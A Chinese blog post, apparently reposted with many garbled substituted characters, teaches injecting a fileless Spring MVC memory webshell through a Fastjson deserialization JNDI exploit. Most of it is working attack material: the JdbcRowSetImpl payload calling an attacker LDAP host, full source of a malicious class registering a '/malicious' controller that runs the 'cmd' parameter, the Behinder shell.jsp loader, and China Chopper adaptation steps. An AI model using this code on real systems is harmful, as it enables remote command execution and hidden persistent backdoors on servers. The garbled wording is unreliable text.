关于java:利用-Fastjson-注入-Spring-内存马太秀了~

本文仅供参考学习应用。

1 根底

实际上java内存马的注入曾经有很多形式了,我在学习中入手钻研并写了一下针对spring mvc利用的内存马。

一般来说实现无文件落地的java内存马注入,通常是利用反序列化破绽,所以入手写了一个spring mvc的后端,并间接给了一个fastjson反序列化的页面,在假设的攻打中,通过jndi的利用形式让web端加载歹意类,注入controller。

所有工作都是站在伟人的肩膀上,参考文章均在最初列出。

1.1 fastjson反序列化和JNDI

对于fastjson破绽产生的具体原理已有很多剖析文章,这里应用的是fastjson1.24版本,poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端应用fastjson对下面的json进行反序列化时,受到@type注解的批示,会通过反射创立com.sun.rowset.JdbcRowSetImpl类的对象,基于fastjson的机制web端还会主动调用这个对象外部的set办法,最初触发JdbcRowSetImpl类中的特定set办法,拜访dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更具体的开展。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后,想到看一看spring相干的内存马,但没有发现间接给出源代码的controller型内存马,所以学习并入手实现了一下(spring版本4.2.6.RELEASE)。

首先站在伟人的肩膀上,能够晓得spring mvc我的项目运行后,依然能够动静增加controller。一般的controller写法如下

通过@RequestMapping注解表明url和申请办法,编译部署后,spring会依据这个注解注册好相应的controller。动静注入controller的外围步骤如下

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring外部办法获取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从context中取得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射取得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定义拜访 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定义容许拜访 controller 的 HTTP 办法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动静注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}
  • 步骤1中的context能够了解为web端解决这个申请时,以后线程内所领有的各种环境信息和资源
  • 步骤2中获取的mappingHandlerMapping对象是用于注册controller的
  • 步骤3中的反射是为了取得test这个Method对象,以便动静注册controller时,告知接管到给定url门路的申请后,用那个Method来解决,其中InjectToController类就是咱们的歹意类
  • 步骤4定义的url对象是为了指定注入url,这个url就是咱们的内存马门路
  • 步骤5是告知注入的url容许的申请办法
  • 步骤6中RequestMappingInfo填入的信息相似于@RequestMapping注解中的信息,即url、容许的申请办法等。是真正注册controller的步骤
  • InjectToController这个类就是咱们的歹意类,其中定义了test办法,这个办法内存在执行命令,当然也能够替换成冰蝎、哥斯拉的webshell外围代码,以便应用这两个工具。InjectToController的残缺代码在前面的章节可见

1.3 获取request和response

罕用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

因为jsp文件被执行时,会主动取得了request这个资源,所以一句话木马不须要思考如何获取request这个对象。但在咱们注入controller的流程中,歹意java类的编译是由攻击者实现的,web端间接执行编译好的class文件,显然不可能像下面图片中用注解的形式在让test办法(InjectToController中的)的参数自带request, 所以再一次站在伟人的肩膀上https://www.jianshu.com/p/89b… ,通过spring的外部办法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc我的项目部署在tomcat下,也能够用针对tomcat获取requeset的办法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(前方参考文献中已给出)

1.4 阻止反复增加controller (非必须)

通过调试发现,下面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保留了曾经注册的所有url门路,对mappingHandlerMapping进一步后发现,以上对象和属性都是公有的,且mappingRegistry并非mappingHandlerMapping中创立的,而是来自于基类AbstractHandlerMethodMapping。

所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry办法能够获取mappingRegistry,而urlLookup是其内部类MappingRegistry的公有属性,能够通过反射获取。

反射获取urlLookup和判断咱们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry办法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry办法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断咱们想要注入的门路是否被曾经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url已存在");
        return;
    }
}

2 试验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境,不便随时换spring、fastjson和tomcat的版本。这个Web利用的性能有两个:

  • /home/postjson,能够输出json并POST给/home/readjson
  • /home/readjson,应用fastjson解析json,触发反序列化的rce

举荐一个 Spring Boot 基础教程及实战示例:
https://github.com/javastacks…

2.2 歹意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从以后上下文环境中取得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可选步骤,判断url是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url已存在");
                return;
            }
        }
        // 可选步骤,判断url是否存在
        // 2. 通过反射取得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义拜访 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义容许拜访 controller 的 HTTP 办法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动静注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创立用于解决申请的对象,退出“aaa”参数是为了触发第二个构造函数防止有限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的解决办法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  • 因为fastjson反序列化时,主动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
  • 反序列化时主动触发的构造函数是第一个构造函数,因为没有带参数
  • 因为registerMapping办法注册controller时须要给一个对象和这个对象外部的解决办法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个歹意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");,这样就会进入第二个构造函数,而不会进入第一个构造函数有限循环。

2.3 测试

启动spring mvc我的项目,拜访/我的项目/malicious门路,返回404

应用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的门路为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器

编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,拜访/我的项目/home/postjson,并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并依据给定的dataSourceName发动LDAP申请,从开启的给定的LDAP服务端(1389端口)取得歹意类的地址,再去下载并执行歹意类(8090端口),能够看到payload攻打胜利了

拜访/malicious这个uri确定一下

2.4 注入菜刀webshell

只须要找一匹稳固的jsp菜刀马,稍加革新:

  • 把菜刀马的函数定义放在歹意类中
  • 在注入的controller代码中退出菜刀马的判断和执行局部(下面的test办法中)
  • 留神jsp菜刀马最初的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端–shell.jsp

首先来看看冰蝎的shell.jsp文件,为了不便浏览,稍作加了一些换行

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
    U(ClassLoader c){super(c);}  //构造函数

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);  // 调用父类的defineClass函数
    }
}
%>

<%
if (request.getMethod().equals("POST"))
    {
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

能够看出,该jsp的外围性能有三点

  • 为了不便地应用defineClass,创立了U这个类继承ClassLoader;
  • 应用java自带的包,解密AES加密数据
  • 应用defineClass加载AES解密后字节码,取得一个歹意类,利用newInstance创立这个类的实例,并调用equals办法
2.5.2 pageContext

shell.jsp中须要特地留神pageContext这个对象,它是jsp文件运行过程中自带的对象,能够获取request/response/session这三个蕴含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession办法。学艺不精,临时没有找到从spring和tomcat中获取pageContext的办法。

然而从冰蝎的作者给出的提醒能够晓得,冰蝎3.0 bata7之后不在依赖pageContext,见github issue

又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

所以注入的controller代码中,能够将pageContext换成一个Map,手动增加key和value即可,后面的歹意类源代码中曾经给出了如何获取request/response/session

2.5.3 继承ClassLoader和调用defineClass

在2.5.1中提到须要继承ClassLoader后调用父类的defineClass,当然也能够用反射,然而这样更不便而已。对歹意类稍加革新,继承ClassLoader、定义新的构造函数、减少g函数、增加冰蝎的服务端代码

特地须要留神的是红框内的ClassLoader.getSystemClassLoader(),如果随便给定某个继承自ClassLoader的类,可能会呈现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为须要应用getSystemClassLoader()获取创立ClassLoader时须要增加委派父级。

2.5.4 上冰蝎

参考文献:

https://www.anquanke.com/post…\
https://www.jianshu.com/p/89b…\
https://github.com/mbechler/m…\
https://lalajun.github.io/201…反序列化-fastjson/\
https://github.com/rebeyond/B…\
https://blog.csdn.net/cumudi0…\
https://github.com/rebeyond/B…\


作者:bitterz \
地址:https://www.cnblogs.com/bitterz/

近期热文举荐:

1.1,000+ 道 Java面试题及答案整顿(2021最新版)

2.别在再满屏的 if/ else 了,试试策略模式,真香!!

3.卧槽!Java 中的 xx ≠ null 是什么新语法?

4.Spring Boot 2.5 重磅公布,光明模式太炸了!

5.《Java开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞+转发哦!

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理